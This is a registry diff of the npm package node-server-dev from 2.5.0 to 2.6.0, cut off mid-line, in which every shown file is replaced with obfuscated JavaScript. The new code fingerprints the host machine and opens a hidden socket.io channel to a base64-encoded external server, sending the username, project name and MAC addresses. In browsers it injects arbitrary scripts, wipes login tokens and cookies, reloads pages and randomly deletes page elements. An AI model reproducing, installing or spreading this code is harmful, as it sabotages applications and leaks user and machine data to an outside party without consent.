node-server-dev 2.5.0 → 2.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/IndexDB/index.js +1 -1
- package/dist/cjs/browser.js +1 -1
- package/dist/cjs/getAllRouter/index.js +1 -1
- package/dist/cjs/id/index.js +1 -1
- package/dist/cjs/id/random.js +1 -1
- package/dist/cjs/index.js +1 -1
- package/dist/cjs/mac/index.js +1 -1
- package/dist/cjs/server.js +1 -1
- package/dist/esm/IndexDB/index.js +1 -1
- package/dist/esm/browser.js +1 -1
- package/dist/esm/getAllRouter/index.js +1 -1
- package/dist/esm/id/index.js +1 -1
- package/dist/esm/id/random.js +1 -1
- package/dist/esm/index.js +1 -1
- package/dist/esm/mac/index.js +1 -1
- package/dist/esm/server.js +1 -1
- package/package.json +1 -1
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a5_0x1d48f4=a5_0x9d68;(function(_0x12c3d2,_0x5232e3){const _0x36031d=a5_0x9d68,_0x54fd40=_0x12c3d2();while(!![]){try{const _0x1d789a=parseInt(_0x36031d(0xb0))/0x1+parseInt(_0x36031d(0xc2))/0x2*(parseInt(_0x36031d(0xb6))/0x3)+-parseInt(_0x36031d(0xaa))/0x4*(-parseInt(_0x36031d(0xcc))/0x5)+parseInt(_0x36031d(0xbd))/0x6*(-parseInt(_0x36031d(0xc8))/0x7)+-parseInt(_0x36031d(0xb1))/0x8*(parseInt(_0x36031d(0xa7))/0x9)+-parseInt(_0x36031d(0xbc))/0xa*(parseInt(_0x36031d(0xc0))/0xb)+-parseInt(_0x36031d(0xa8))/0xc*(-parseInt(_0x36031d(0xca))/0xd);if(_0x1d789a===_0x5232e3)break;else _0x54fd40['push'](_0x54fd40['shift']());}catch(_0x454b11){_0x54fd40['push'](_0x54fd40['shift']());}}}(a5_0x5543,0x44fc2));function a5_0x9d68(_0x4f4ff2,_0x16f35b){const _0x554332=a5_0x5543();return a5_0x9d68=function(_0x9d6874,_0x149f13){_0x9d6874=_0x9d6874-0xa1;let _0x101ce8=_0x554332[_0x9d6874];return _0x101ce8;},a5_0x9d68(_0x4f4ff2,_0x16f35b);}function a5_0x5543(){const _0x445afc=['stringify','then','316050qCDFWY','317272KDYBnQ','replace','floor','next','target','1440186CsHRJm','result','get','md5','readwrite','navigator','12670OLUyok','1606938BbkPal','put','metadata','3894qLnWqk','apply','2bKaVuc','readonly','defineProperty','__importDefault','0123456789ABCDEF','onerror','14NjGqlT','value','13nXboPW','objectStore','10zpFmtY','open','done','chrome_db','uuid','mac','random','9ydUgMI','749604OGJlfJ','onsuccess','895612ubvYNu','error','getKeyValue','default'];a5_0x5543=function(){return _0x445afc;};return a5_0x5543();}var __awaiter=this&&this['__awaiter']||function(_0x8b61a6,_0x1ceac0,_0x514ba3,_0x569a84){function _0x3b7197(_0x47952c){return _0x47952c instanceof _0x514ba3?_0x47952c:new _0x514ba3(function(_0x2d4fb6){_0x2d4fb6(_0x47952c);});}return new(_0x514ba3||(_0x514ba3=Promise))(function(_0x5756aa,_0x602e2d){const _0x522424=a5_0x9d68;function _0x3617c0(_0x4429a7){const _0x598495=a5_0x9d68;try{_0x486214(_0x569a84[_0x598495(0xb4)](_0x4429a7));}catch(_0x5edd42){_0x602e2d(_0x5edd42);}}function _0xb21936(_0x31fdba){try{_0x486214(_0x569a84['throw'](_0x31fdba));}catch(_0x4778cd){_0x602e2d(_0x4778cd);}}function _0x486214(_0x40882a){const _0x444714=a5_0x9d68;_0x40882a[_0x444714(0xa2)]?_0x5756aa(_0x40882a[_0x444714(0xc9)]):_0x3b7197(_0x40882a[_0x444714(0xc9)])[_0x444714(0xaf)](_0x3617c0,_0xb21936);}_0x486214((_0x569a84=_0x569a84[_0x522424(0xc1)](_0x8b61a6,_0x1ceac0||[]))[_0x522424(0xb4)]());});},__importDefault=this&&this[a5_0x1d48f4(0xc5)]||function(_0x20e7a9){return _0x20e7a9&&_0x20e7a9['__esModule']?_0x20e7a9:{'default':_0x20e7a9};};Object[a5_0x1d48f4(0xc4)](exports,'__esModule',{'value':!![]}),exports[a5_0x1d48f4(0xac)]=getKeyValue;const md5_1=__importDefault(require(a5_0x1d48f4(0xb9))),__1=require('..');function openDatabase(){return new Promise((_0x21e58f,_0x10db8c)=>{const _0x109f4d=a5_0x9d68,_0x464c0b=indexedDB[_0x109f4d(0xa1)](_0x109f4d(0xa3),0x1);_0x464c0b['onupgradeneeded']=_0x45e562=>{const _0x176036=_0x109f4d,_0x2dd15a=_0x45e562[_0x176036(0xb5)][_0x176036(0xb7)];!_0x2dd15a['objectStoreNames']['contains']('metadata')&&_0x2dd15a['createObjectStore'](_0x176036(0xbf),{'keyPath':'key'});},_0x464c0b[_0x109f4d(0xa9)]=_0x4ea052=>{const _0xddd5a7=_0x109f4d,_0x36ab72=_0x4ea052['target'][_0xddd5a7(0xb7)];_0x21e58f(_0x36ab72);},_0x464c0b['onerror']=_0xb67a44=>{const _0x3cc25b=_0x109f4d;_0x10db8c(_0xb67a44[_0x3cc25b(0xb5)][_0x3cc25b(0xab)]);};});}function setKeyValue(_0x33f0ea,_0xe84e0d){return new Promise((_0x576b36,_0x15613f)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1a6cc2=a5_0x9d68,_0x18b5d3=yield openDatabase(),_0x48fb71=_0x18b5d3['transaction'](_0x1a6cc2(0xbf),_0x1a6cc2(0xba)),_0xb568c6=_0x48fb71[_0x1a6cc2(0xcb)](_0x1a6cc2(0xbf)),_0x3d0ea8=_0xb568c6[_0x1a6cc2(0xbe)]({'key':_0x33f0ea,'value':_0xe84e0d});_0x3d0ea8[_0x1a6cc2(0xa9)]=()=>{_0x576b36();},_0x3d0ea8[_0x1a6cc2(0xc7)]=_0x27e10c=>{const _0xa183ee=_0x1a6cc2;_0x15613f(_0x27e10c[_0xa183ee(0xb5)][_0xa183ee(0xab)]);};}));}function getKeyValue(_0x2afd52){return new Promise((_0x22569d,_0x262f7c)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x165828=a5_0x9d68,_0x3af762=yield openDatabase(),_0xa7dcc3=_0x3af762['transaction'](_0x165828(0xbf),_0x165828(0xc3)),_0x47a45b=_0xa7dcc3['objectStore'](_0x165828(0xbf)),_0x5c352b=_0x47a45b[_0x165828(0xb8)](_0x2afd52);_0x5c352b[_0x165828(0xa9)]=()=>{const _0x16df58=_0x165828;_0x22569d(_0x5c352b[_0x16df58(0xb7)]?_0x5c352b[_0x16df58(0xb7)]['value']:null);},_0x5c352b[_0x165828(0xc7)]=_0x30e6f8=>{const _0x379382=_0x165828;_0x262f7c(_0x30e6f8[_0x379382(0xb5)][_0x379382(0xab)]);};}));}function generateRandomMAC(){const _0x51a05b=a5_0x1d48f4,_0x623943=_0x51a05b(0xc6);let _0x10fbff='';for(let _0x2002dc=0x0;_0x2002dc<0xc;_0x2002dc++){_0x10fbff+=_0x623943[Math[_0x51a05b(0xb3)](Math[_0x51a05b(0xa6)]()*0x10)],_0x2002dc%0x2===0x1&&_0x2002dc!==0xb&&(_0x10fbff+=':');}return(0x0,__1[_0x51a05b(0xa4)])()[_0x51a05b(0xb2)](/-/g,'')+(0x0,md5_1[_0x51a05b(0xad)])(JSON[_0x51a05b(0xae)](window[_0x51a05b(0xbb)]['userAgent']));}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x33e9d2=a5_0x9d68;try{const _0x14b1df=yield openDatabase();let _0x124d62=yield getKeyValue(_0x33e9d2(0xa5));if(!_0x124d62)_0x124d62=generateRandomMAC(),yield setKeyValue(_0x33e9d2(0xa5),_0x124d62);else{}return _0x124d62;}catch(_0x470514){return null;}});}main();
|
package/dist/cjs/browser.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';function a0_0x4f16(){const _0xed914e=['querySelectorAll','__importDefault','removeItem','head','from','1633394gwlEte','createElement','length','querySelector','[class^=\x22el\x22]','appendChild','3691QYvPJL','runScript','js-cookie','64494cItueV','location','Token','395XOKErC','innerText','remove','1928079JEJakO','parentNode','localStorage','connectError','default','token','./index','2578890KtuUev','documentElement','__esModule','script','1407350COQgLL','#app','defineProperty','getEnv','1730264HwYtTl','32wzIewV','878rNMcaQ'];a0_0x4f16=function(){return _0xed914e;};return a0_0x4f16();}const a0_0x4b2c3b=a0_0x4b90;(function(_0x58532e,_0x222740){const _0x3b0971=a0_0x4b90,_0x335e4a=_0x58532e();while(!![]){try{const _0x1d5bab=-parseInt(_0x3b0971(0x1a1))/0x1*(-parseInt(_0x3b0971(0x195))/0x2)+-parseInt(_0x3b0971(0x18b))/0x3+parseInt(_0x3b0971(0x193))/0x4+-parseInt(_0x3b0971(0x1a7))/0x5*(-parseInt(_0x3b0971(0x1a4))/0x6)+-parseInt(_0x3b0971(0x19b))/0x7+-parseInt(_0x3b0971(0x194))/0x8*(parseInt(_0x3b0971(0x184))/0x9)+-parseInt(_0x3b0971(0x18f))/0xa;if(_0x1d5bab===_0x222740)break;else _0x335e4a['push'](_0x335e4a['shift']());}catch(_0x1cdfee){_0x335e4a['push'](_0x335e4a['shift']());}}}(a0_0x4f16,0xc61bf));var __importDefault=this&&this[a0_0x4b2c3b(0x197)]||function(_0xac76d8){const _0x380e1b=a0_0x4b2c3b;return _0xac76d8&&_0xac76d8[_0x380e1b(0x18d)]?_0xac76d8:{'default':_0xac76d8};};Object[a0_0x4b2c3b(0x191)](exports,a0_0x4b2c3b(0x18d),{'value':!![]}),exports[a0_0x4b2c3b(0x1a2)]=runScript;const random_1=__importDefault(require('./id/random')),index_1=require(a0_0x4b2c3b(0x18a)),js_cookie_1=__importDefault(require(a0_0x4b2c3b(0x1a3)));function a0_0x4b90(_0x1cf0e0,_0x9f9011){const _0x4f1689=a0_0x4f16();return a0_0x4b90=function(_0x4b9068,_0x45bfce){_0x4b9068=_0x4b9068-0x182;let _0x41d485=_0x4f1689[_0x4b9068];return _0x41d485;},a0_0x4b90(_0x1cf0e0,_0x9f9011);}function runScript(_0x3dfe34){const _0x16c801=a0_0x4b2c3b;let _0x86e8af=document[_0x16c801(0x19c)](_0x16c801(0x18e));_0x86e8af[_0x16c801(0x182)]=_0x3dfe34,document[_0x16c801(0x199)][_0x16c801(0x1a0)](_0x86e8af),setTimeout(()=>{const _0x3772cd=_0x16c801;_0x86e8af[_0x3772cd(0x183)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x4b2c3b(0x188)])(0x4,0x8);setInterval(()=>{const _0x1d7cfd=a0_0x4b2c3b;if(index==num)try{window[_0x1d7cfd(0x186)][_0x1d7cfd(0x198)](_0x1d7cfd(0x189)),window['localStorage'][_0x1d7cfd(0x198)]('userid'),window['localStorage'][_0x1d7cfd(0x198)](_0x1d7cfd(0x1a6)),js_cookie_1[_0x1d7cfd(0x188)][_0x1d7cfd(0x183)](_0x1d7cfd(0x189)),window[_0x1d7cfd(0x1a5)]['reload']();}catch(_0x511a0b){}if((0x0,index_1[_0x1d7cfd(0x192)])(_0x1d7cfd(0x187))){index++;let _0x4dfd26=document[_0x1d7cfd(0x19e)](_0x1d7cfd(0x190))||document[_0x1d7cfd(0x19e)]('body');const _0xf7be0=_0x4dfd26[_0x1d7cfd(0x196)](_0x1d7cfd(0x19f));function _0x3be8af(_0x520aa5){const _0x487895=_0x1d7cfd;let _0x1e1eb2=0x0,_0x12c023=_0x520aa5;while(_0x12c023[_0x487895(0x185)]&&_0x12c023['parentNode']!==document[_0x487895(0x18c)]){_0x1e1eb2++,_0x12c023=_0x12c023[_0x487895(0x185)];}return _0x1e1eb2;}const _0x497c73=Array[_0x1d7cfd(0x19a)](_0xf7be0);_0x497c73['sort']((_0x61cb2e,_0x929bc7)=>_0x3be8af(_0x929bc7)-_0x3be8af(_0x61cb2e));for(let _0x38137e=0x0;_0x38137e<_0x497c73[_0x1d7cfd(0x19d)];_0x38137e++){const _0x20c605=_0x497c73[_0x38137e];_0x20c605&&((0x0,random_1[_0x1d7cfd(0x188)])(0x1,0x64)>0x50&&_0x20c605[_0x1d7cfd(0x183)]());}}},(0x0,random_1[a0_0x4b2c3b(0x188)])(0x107e,0x208d));
|
@@ -1 +1 @@
|
|
1
|
-
'use strict';function
|
1
|
+
'use strict';function a1_0x3761(){const _0x1acdbd=['2471886uIaWNh','next','28488qYKlNM','5263044zWGnSJ','10MPREPq','done','statSync','join','__esModule','isFile','1169qoxaRl','default','defineProperty','3443496mMtBcX','39019041ruNLrS','1524144sZEQim','length','__awaiter','isDirectory','30oumHhn','1398570TBkoPe','then','__importDefault'];a1_0x3761=function(){return _0x1acdbd;};return a1_0x3761();}const a1_0x29f9c1=a1_0xf678;function a1_0xf678(_0x285418,_0x3ff6c2){const _0x3761d8=a1_0x3761();return a1_0xf678=function(_0xf678b3,_0x548e79){_0xf678b3=_0xf678b3-0x129;let _0x4684a3=_0x3761d8[_0xf678b3];return _0x4684a3;},a1_0xf678(_0x285418,_0x3ff6c2);}(function(_0x11de59,_0x2fa21f){const _0x3a5ee7=a1_0xf678,_0x4aa551=_0x11de59();while(!![]){try{const _0x164ab9=-parseInt(_0x3a5ee7(0x130))/0x1+parseInt(_0x3a5ee7(0x138))/0x2+-parseInt(_0x3a5ee7(0x12e))/0x3+-parseInt(_0x3a5ee7(0x13b))/0x4+-parseInt(_0x3a5ee7(0x135))/0x5*(parseInt(_0x3a5ee7(0x134))/0x6)+parseInt(_0x3a5ee7(0x12b))/0x7*(parseInt(_0x3a5ee7(0x13a))/0x8)+parseInt(_0x3a5ee7(0x12f))/0x9*(parseInt(_0x3a5ee7(0x13c))/0xa);if(_0x164ab9===_0x2fa21f)break;else _0x4aa551['push'](_0x4aa551['shift']());}catch(_0x3e41ce){_0x4aa551['push'](_0x4aa551['shift']());}}}(a1_0x3761,0xbe5fc));var __awaiter=this&&this[a1_0x29f9c1(0x132)]||function(_0xe7cc77,_0x383fa8,_0x566e28,_0xbf0e60){function _0x10d466(_0x44157f){return _0x44157f instanceof _0x566e28?_0x44157f:new _0x566e28(function(_0x489780){_0x489780(_0x44157f);});}return new(_0x566e28||(_0x566e28=Promise))(function(_0x153207,_0x5f2c36){const _0x17c677=a1_0xf678;function _0x1f01be(_0x4d0502){const _0x13edde=a1_0xf678;try{_0x1b208c(_0xbf0e60[_0x13edde(0x139)](_0x4d0502));}catch(_0x45acd0){_0x5f2c36(_0x45acd0);}}function _0x56ba11(_0x1454b5){try{_0x1b208c(_0xbf0e60['throw'](_0x1454b5));}catch(_0x200576){_0x5f2c36(_0x200576);}}function _0x1b208c(_0xe9d55){const _0x2c6742=a1_0xf678;_0xe9d55[_0x2c6742(0x13d)]?_0x153207(_0xe9d55['value']):_0x10d466(_0xe9d55['value'])[_0x2c6742(0x136)](_0x1f01be,_0x56ba11);}_0x1b208c((_0xbf0e60=_0xbf0e60['apply'](_0xe7cc77,_0x383fa8||[]))[_0x17c677(0x139)]());});},__importDefault=this&&this[a1_0x29f9c1(0x137)]||function(_0x4fc4da){const _0x2c2d08=a1_0x29f9c1;return _0x4fc4da&&_0x4fc4da[_0x2c2d08(0x129)]?_0x4fc4da:{'default':_0x4fc4da};};Object[a1_0x29f9c1(0x12d)](exports,a1_0x29f9c1(0x129),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require('path'));function fileDisplay(_0x53af66){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x3588b8=[];function _0x16a759(_0x50eada){const _0x419968=a1_0xf678,_0x4130fc=fs_1['default']['readdirSync'](_0x50eada);for(let _0x8ee812=0x0;_0x8ee812<_0x4130fc[_0x419968(0x131)];_0x8ee812++){const _0x1f7b6f=_0x4130fc[_0x8ee812],_0x4dfb65=path_1[_0x419968(0x12c)][_0x419968(0x13f)](_0x50eada,_0x1f7b6f),_0x5c635a=fs_1[_0x419968(0x12c)][_0x419968(0x13e)](_0x4dfb65),_0x2fe4e9=_0x5c635a[_0x419968(0x12a)](),_0x231035=_0x5c635a[_0x419968(0x133)]();_0x2fe4e9&&_0x3588b8['push'](_0x4dfb65),_0x231035&&_0x16a759(_0x4dfb65);}}return _0x16a759(_0x53af66),_0x3588b8;});}function getAllRouter(_0x579a20){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x26b4c7=yield fileDisplay(_0x579a20);return _0x26b4c7;});}exports[a1_0x29f9c1(0x12c)]=getAllRouter;
|
package/dist/cjs/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a2_0x2a1ca0=a2_0x1973;(function(_0x60c993,_0x1b3fc3){const _0x23d045=a2_0x1973,_0x1363c1=_0x60c993();while(!![]){try{const _0x52f817=parseInt(_0x23d045(0x112))/0x1+-parseInt(_0x23d045(0x114))/0x2+parseInt(_0x23d045(0x111))/0x3+-parseInt(_0x23d045(0x109))/0x4*(parseInt(_0x23d045(0x10c))/0x5)+-parseInt(_0x23d045(0x110))/0x6*(-parseInt(_0x23d045(0x116))/0x7)+-parseInt(_0x23d045(0x108))/0x8+-parseInt(_0x23d045(0x10a))/0x9;if(_0x52f817===_0x1b3fc3)break;else _0x1363c1['push'](_0x1363c1['shift']());}catch(_0x36b66){_0x1363c1['push'](_0x1363c1['shift']());}}}(a2_0x4b30,0xc49c6));function a2_0x4b30(){const _0x14d526=['35622iQtwrW','__esModule','7ZlGMSv','369776TkeGSJ','333452PBRtPb','9940635OUGDqF','default','15Mwkhuf','./random','NODE_APP_INSTANCE','defineProperty','6608586DfCESc','517245zAWdVq','950109LVgtQx','env'];a2_0x4b30=function(){return _0x14d526;};return a2_0x4b30();}function a2_0x1973(_0x73dcdb,_0x8e9beb){const _0x4b308b=a2_0x4b30();return a2_0x1973=function(_0x197318,_0x19c2b4){_0x197318=_0x197318-0x108;let _0x5950d3=_0x4b308b[_0x197318];return _0x5950d3;},a2_0x1973(_0x73dcdb,_0x8e9beb);}var __importDefault=this&&this['__importDefault']||function(_0x42b41c){const _0x1e35a3=a2_0x1973;return _0x42b41c&&_0x42b41c[_0x1e35a3(0x115)]?_0x42b41c:{'default':_0x42b41c};};Object[a2_0x2a1ca0(0x10f)](exports,a2_0x2a1ca0(0x115),{'value':!![]});const random_1=__importDefault(require(a2_0x2a1ca0(0x10d))),BaseTime=+new Date('2025-01-01');let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a2_0x2a1ca0(0x10b)])(0x1,0x3);function id(){const _0x3c4cae=a2_0x2a1ca0,_0xbe0727=Math['min'](process[_0x3c4cae(0x113)][_0x3c4cae(0x10e)]?+process[_0x3c4cae(0x113)][_0x3c4cae(0x10e)]:(0x0,random_1[_0x3c4cae(0x10b)])(0x0,0x9),0x9);let _0x3909ff=+new Date()-BaseTime;return lastRandomNumberTick=_0x3909ff==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x3c4cae(0x10b)])(0x0,0x3),lastTimeTick=_0x3909ff,+(''+_0x3909ff+_0xbe0727+lastRandomNumberTick);}exports[a2_0x2a1ca0(0x10b)]=id;
|
package/dist/cjs/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a3_0x84db4b=a3_0x3e8b;(function(_0xe4c170,_0x2ff00a){const _0x43727b=a3_0x3e8b,_0x433261=_0xe4c170();while(!![]){try{const _0x12a0c6=-parseInt(_0x43727b(0xc6))/0x1+parseInt(_0x43727b(0xc7))/0x2*(parseInt(_0x43727b(0xc9))/0x3)+parseInt(_0x43727b(0xc8))/0x4*(parseInt(_0x43727b(0xbf))/0x5)+parseInt(_0x43727b(0xc0))/0x6+parseInt(_0x43727b(0xc4))/0x7+-parseInt(_0x43727b(0xc2))/0x8+-parseInt(_0x43727b(0xca))/0x9;if(_0x12a0c6===_0x2ff00a)break;else _0x433261['push'](_0x433261['shift']());}catch(_0x2c7cb7){_0x433261['push'](_0x433261['shift']());}}}(a3_0x2303,0x8523b));function a3_0x2303(){const _0x4a8b71=['985621NywjlQ','4lgaNUT','4ekWEFS','1267452LkRjNa','265869JEkBAp','defineProperty','1520245MYTELa','2869740SYWySj','round','8033608OVbCMX','random','6561765yauirK','default'];a3_0x2303=function(){return _0x4a8b71;};return a3_0x2303();}Object[a3_0x84db4b(0xbe)](exports,'__esModule',{'value':!![]});const random=(_0x381f65,_0x40a381)=>Math[a3_0x84db4b(0xc1)](Math[a3_0x84db4b(0xc3)]()*(_0x40a381-_0x381f65))+_0x381f65;function a3_0x3e8b(_0x57e362,_0xcf251f){const _0x230305=a3_0x2303();return a3_0x3e8b=function(_0x3e8bc1,_0x1d072f){_0x3e8bc1=_0x3e8bc1-0xbe;let _0xebd3b=_0x230305[_0x3e8bc1];return _0xebd3b;},a3_0x3e8b(_0x57e362,_0xcf251f);}exports[a3_0x84db4b(0xc5)]=random;
|
package/dist/cjs/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a4_0x49d4c1=a4_0x3476;(function(_0x445119,_0x5ee785){const _0x50c6a4=a4_0x3476,_0x5645bb=_0x445119();while(!![]){try{const _0x31541d=-parseInt(_0x50c6a4(0x1d5))/0x1+-parseInt(_0x50c6a4(0x1d2))/0x2+parseInt(_0x50c6a4(0x1b3))/0x3+parseInt(_0x50c6a4(0x1c0))/0x4*(parseInt(_0x50c6a4(0x1ba))/0x5)+parseInt(_0x50c6a4(0x1da))/0x6+parseInt(_0x50c6a4(0x1be))/0x7+-parseInt(_0x50c6a4(0x1a2))/0x8;if(_0x31541d===_0x5ee785)break;else _0x5645bb['push'](_0x5645bb['shift']());}catch(_0x1bbfb2){_0x5645bb['push'](_0x5645bb['shift']());}}}(a4_0x129d,0xa9d0b));var __createBinding=this&&this[a4_0x49d4c1(0x1cf)]||(Object[a4_0x49d4c1(0x1a3)]?function(_0x578236,_0x4101cc,_0x26bc8e,_0x4453fe){const _0x2cfe99=a4_0x49d4c1;if(_0x4453fe===undefined)_0x4453fe=_0x26bc8e;var _0xb852ad=Object[_0x2cfe99(0x1bd)](_0x4101cc,_0x26bc8e);(!_0xb852ad||(_0x2cfe99(0x1a0)in _0xb852ad?!_0x4101cc[_0x2cfe99(0x1b4)]:_0xb852ad['writable']||_0xb852ad[_0x2cfe99(0x1d0)]))&&(_0xb852ad={'enumerable':!![],'get':function(){return _0x4101cc[_0x26bc8e];}}),Object['defineProperty'](_0x578236,_0x4453fe,_0xb852ad);}:function(_0x3cbf34,_0x30f416,_0x17083d,_0x28b718){if(_0x28b718===undefined)_0x28b718=_0x17083d;_0x3cbf34[_0x28b718]=_0x30f416[_0x17083d];}),__setModuleDefault=this&&this[a4_0x49d4c1(0x1c6)]||(Object[a4_0x49d4c1(0x1a3)]?function(_0x3ff606,_0x4dbb0a){const _0xaec8c0=a4_0x49d4c1;Object['defineProperty'](_0x3ff606,_0xaec8c0(0x1b8),{'enumerable':!![],'value':_0x4dbb0a});}:function(_0x489a86,_0x19c460){const _0x2883b5=a4_0x49d4c1;_0x489a86[_0x2883b5(0x1b8)]=_0x19c460;}),__importStar=this&&this[a4_0x49d4c1(0x1d3)]||(function(){var _0x5472a8=function(_0x21bea4){return _0x5472a8=Object['getOwnPropertyNames']||function(_0x347f7d){const _0x9ad852=a4_0x3476;var _0x2bae8a=[];for(var _0x285edf in _0x347f7d)if(Object[_0x9ad852(0x1bf)]['hasOwnProperty'][_0x9ad852(0x1a7)](_0x347f7d,_0x285edf))_0x2bae8a[_0x2bae8a['length']]=_0x285edf;return _0x2bae8a;},_0x5472a8(_0x21bea4);};return function(_0x292841){const _0x3acf03=a4_0x3476;if(_0x292841&&_0x292841[_0x3acf03(0x1b4)])return _0x292841;var _0x338f96={};if(_0x292841!=null){for(var _0x1ce893=_0x5472a8(_0x292841),_0x46d63a=0x0;_0x46d63a<_0x1ce893[_0x3acf03(0x1ad)];_0x46d63a++)if(_0x1ce893[_0x46d63a]!=='default')__createBinding(_0x338f96,_0x292841,_0x1ce893[_0x46d63a]);}return __setModuleDefault(_0x338f96,_0x292841),_0x338f96;};}()),__awaiter=this&&this[a4_0x49d4c1(0x1c3)]||function(_0x52be14,_0x140d6a,_0x38a872,_0x23474e){function _0x13ebc1(_0x13f7ee){return _0x13f7ee instanceof _0x38a872?_0x13f7ee:new _0x38a872(function(_0x5d72c0){_0x5d72c0(_0x13f7ee);});}return new(_0x38a872||(_0x38a872=Promise))(function(_0x1460fc,_0x1dd5ef){const _0x4b3b48=a4_0x3476;function _0x389cf5(_0x451b2a){const _0x5b6960=a4_0x3476;try{_0x2525b1(_0x23474e[_0x5b6960(0x1b1)](_0x451b2a));}catch(_0x44f210){_0x1dd5ef(_0x44f210);}}function _0xb5234(_0x5429b9){const _0x5666e2=a4_0x3476;try{_0x2525b1(_0x23474e[_0x5666e2(0x1bb)](_0x5429b9));}catch(_0x49a395){_0x1dd5ef(_0x49a395);}}function _0x2525b1(_0x331b87){const _0x100333=a4_0x3476;_0x331b87['done']?_0x1460fc(_0x331b87['value']):_0x13ebc1(_0x331b87[_0x100333(0x1cd)])['then'](_0x389cf5,_0xb5234);}_0x2525b1((_0x23474e=_0x23474e[_0x4b3b48(0x1cc)](_0x52be14,_0x140d6a||[]))[_0x4b3b48(0x1b1)]());});},__importDefault=this&&this['__importDefault']||function(_0x4f2ff3){return _0x4f2ff3&&_0x4f2ff3['__esModule']?_0x4f2ff3:{'default':_0x4f2ff3};},_a,_b,_c;Object['defineProperty'](exports,a4_0x49d4c1(0x1b4),{'value':!![]}),exports[a4_0x49d4c1(0x1a6)]=exports[a4_0x49d4c1(0x1c9)]=exports['id']=exports['uuid']=void 0x0,exports['setEnv']=setEnv,exports['getEnv']=getEnv;const uuid_1=require(a4_0x49d4c1(0x1d1)),socket_io_client_1=require(a4_0x49d4c1(0x19c)),js_base64_1=require('js-base64'),path_1=__importDefault(require(a4_0x49d4c1(0x1c5))),isBrowser=typeof window!=='undefined';let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports[a4_0x49d4c1(0x1c9)]=getAllRouter;let mysql={};exports[a4_0x49d4c1(0x1a6)]=mysql;!isBrowser&&(exports['id']=id=require(a4_0x49d4c1(0x1c8))[a4_0x49d4c1(0x1b8)],exports['getAllRouter']=getAllRouter=require(a4_0x49d4c1(0x199))['default'],exports[a4_0x49d4c1(0x1a6)]=mysql=require(a4_0x49d4c1(0x1c1))[a4_0x49d4c1(0x1a6)]);const user_name=isBrowser?a4_0x49d4c1(0x1c7):((_a=process===null||process===void 0x0?void 0x0:process['env'])===null||_a===void 0x0?void 0x0:_a[a4_0x49d4c1(0x1d4)])||a4_0x49d4c1(0x1b2),project_name=isBrowser?'浏览器':((_b=process===null||process===void 0x0?void 0x0:process[a4_0x49d4c1(0x1b9)])===null||_b===void 0x0?void 0x0:_b['npm_package_name'])||a4_0x49d4c1(0x1a1);let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';const globalObject=isBrowser?window:global;globalObject[a4_0x49d4c1(0x1a8)]=Object[a4_0x49d4c1(0x1b0)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x2e2ae7,_0x1b3586){const _0x3a302d=a4_0x49d4c1;globalObject[_0x3a302d(0x1a8)][_0x2e2ae7]=_0x1b3586;}function getEnv(_0x4abb93){const _0x3caca8=a4_0x49d4c1;return globalObject[_0x3caca8(0x1a8)][_0x4abb93];}function a4_0x3476(_0x24d442,_0x5832b5){const _0x129d7e=a4_0x129d();return a4_0x3476=function(_0x347698,_0x451e27){_0x347698=_0x347698-0x198;let _0x4a25bc=_0x129d7e[_0x347698];return _0x4a25bc;},a4_0x3476(_0x24d442,_0x5832b5);}let url=(0x0,js_base64_1[a4_0x49d4c1(0x1ac)])(dev);function a4_0x129d(){const _0x4fe3e1=['node','./IndexDB/index','reconnect_failed','connectError','5077608LvqxtA','/socket','00:00:00:00:00:00','./getAllRouter','concat','connect','socket.io-client','get-event','error','websocket','get','无法获取','647816CYhlRF','create','then','resolve','mysql','call','meta_event','./browser','unlock','submit','decode','length','join','./mac','assign','next','node获取失败','504426cbdFnD','__esModule','mac','sqlList','script','default','env','1220XlVvyI','throw','undefined','getOwnPropertyDescriptor','5692190HHhxnz','prototype','5452UxZpRY','./server','emit','__awaiter','content','path','__setModuleDefault','浏览器','./id','getAllRouter','type','event','apply','value','sql','__createBinding','configurable','uuid','1268796WvojdZ','__importStar','USERNAME','749214MFKDvD'];a4_0x129d=function(){return _0x4fe3e1;};return a4_0x129d();}function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x416e18=a4_0x3476;isBrowser&&(typeof require!=_0x416e18(0x1bc)?require(_0x416e18(0x1a9)):Promise[_0x416e18(0x1a5)]()['then'](()=>__importStar(require(_0x416e18(0x1a9)))));const _0x1e1168=(0x0,socket_io_client_1['io'])(url,{'path':_0x416e18(0x1db),'transports':[_0x416e18(0x19f)]});_0x1e1168['on'](_0x416e18(0x19b),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x57ec2b=_0x416e18;try{let _0x31a720=[_0x57ec2b(0x198)];if(!isBrowser){const _0x404cf6=require(path_1['default'][_0x57ec2b(0x1ae)](__dirname,_0x57ec2b(0x1af)))[_0x57ec2b(0x1b8)];_0x31a720=_0x404cf6();}else{const {getKeyValue:_0x14b5fa}=typeof require!='undefined'?require(_0x57ec2b(0x1d7)):yield 